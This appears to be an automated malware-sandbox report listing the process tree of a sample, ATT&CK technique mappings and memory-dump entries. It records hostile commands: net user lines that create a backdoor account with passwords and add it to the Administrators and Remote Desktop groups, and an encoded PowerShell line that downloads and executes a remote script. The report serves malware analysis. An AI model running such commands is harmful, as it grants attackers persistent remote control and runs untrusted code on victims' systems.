cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:956

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc ujAjDe95 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:204
- C:\Windows\system32\net.exe
  net.exe user wgautilacc ujAjDe95 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc ujAjDe95 /add
    3⤵
    PID:3300

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1348
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:2976

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:652

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:184
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:3276
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3952

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc ujAjDe95
1⤵
PID:1512
- C:\Windows\system32\net.exe
  net.exe user wgautilacc ujAjDe95
  2⤵
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc ujAjDe95
    3⤵
    PID:1060

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:3524
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:3448

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:636
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:3924

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2664
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3516

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:3448
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/804-214-0x0000026F612D6000-0x0000026F612D8000-memory.dmp

Filesize
8KB

Download
memory/804-215-0x0000026F612D0000-0x0000026F612D2000-memory.dmp

Filesize
8KB

Download
memory/804-216-0x0000026F612D3000-0x0000026F612D5000-memory.dmp

Filesize
8KB

Download
memory/1516-129-0x000001917CDC0000-0x000001917CDC2000-memory.dmp

Filesize
8KB

Download
memory/1516-131-0x000001917CDC5000-0x000001917CDC6000-memory.dmp

Filesize
4KB

Download
memory/1516-130-0x000001917CDC3000-0x000001917CDC5000-memory.dmp

Filesize
8KB

Download
memory/1516-127-0x000001917DAD0000-0x000001917DEF1000-memory.dmp

Filesize
4.1MB

Download
memory/1516-132-0x000001917CDC6000-0x000001917CDC7000-memory.dmp

Filesize
4KB

Download
memory/2016-114-0x00000000021D0000-0x0000000002261000-memory.dmp

Filesize
580KB

Download
memory/2016-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/3280-220-0x00000196F2846000-0x00000196F2848000-memory.dmp

Filesize
8KB

Download
memory/3280-219-0x00000196F2843000-0x00000196F2845000-memory.dmp

Filesize
8KB

Download
memory/3280-218-0x00000196F2840000-0x00000196F2842000-memory.dmp

Filesize
8KB

Download
memory/3516-253-0x0000018B5AF60000-0x0000018B5AF62000-memory.dmp

Filesize
8KB

Download
memory/3516-255-0x0000018B5AF66000-0x0000018B5AF68000-memory.dmp

Filesize
8KB

Download
memory/3516-254-0x0000018B5AF63000-0x0000018B5AF65000-memory.dmp

Filesize
8KB

Download
memory/3516-256-0x0000018B5AF68000-0x0000018B5AF69000-memory.dmp

Filesize
4KB

Download
memory/3996-145-0x00000276EC0A3000-0x00000276EC0A5000-memory.dmp

Filesize
8KB

Download
memory/3996-160-0x00000276EC0A6000-0x00000276EC0A8000-memory.dmp

Filesize
8KB

Download
memory/3996-144-0x00000276EC0A0000-0x00000276EC0A2000-memory.dmp

Filesize
8KB

Download
memory/3996-221-0x00000276EC0A8000-0x00000276EC0A9000-memory.dmp

Filesize
4KB

Download
memory/3996-158-0x00000276ECBA0000-0x00000276ECBA1000-memory.dmp

Filesize
4KB

Download
memory/3996-142-0x00000276ECBF0000-0x00000276ECBF1000-memory.dmp

Filesize
4KB

Download
memory/3996-139-0x00000276ECA40000-0x00000276ECA41000-memory.dmp

Filesize
4KB

Download
memory/3996-165-0x00000276ED200000-0x00000276ED201000-memory.dmp

Filesize
4KB

Download
memory/3996-166-0x00000276ED590000-0x00000276ED591000-memory.dmp

Filesize
4KB

Download
memory/4056-181-0x000001D4C8C90000-0x000001D4C8C92000-memory.dmp

Filesize
8KB

Download
memory/4056-213-0x000001D4C8C98000-0x000001D4C8C9A000-memory.dmp

Filesize
8KB

Download
memory/4056-209-0x000001D4C8C96000-0x000001D4C8C98000-memory.dmp

Filesize
8KB

Download
memory/4056-182-0x000001D4C8C93000-0x000001D4C8C95000-memory.dmp

Filesize
8KB

Download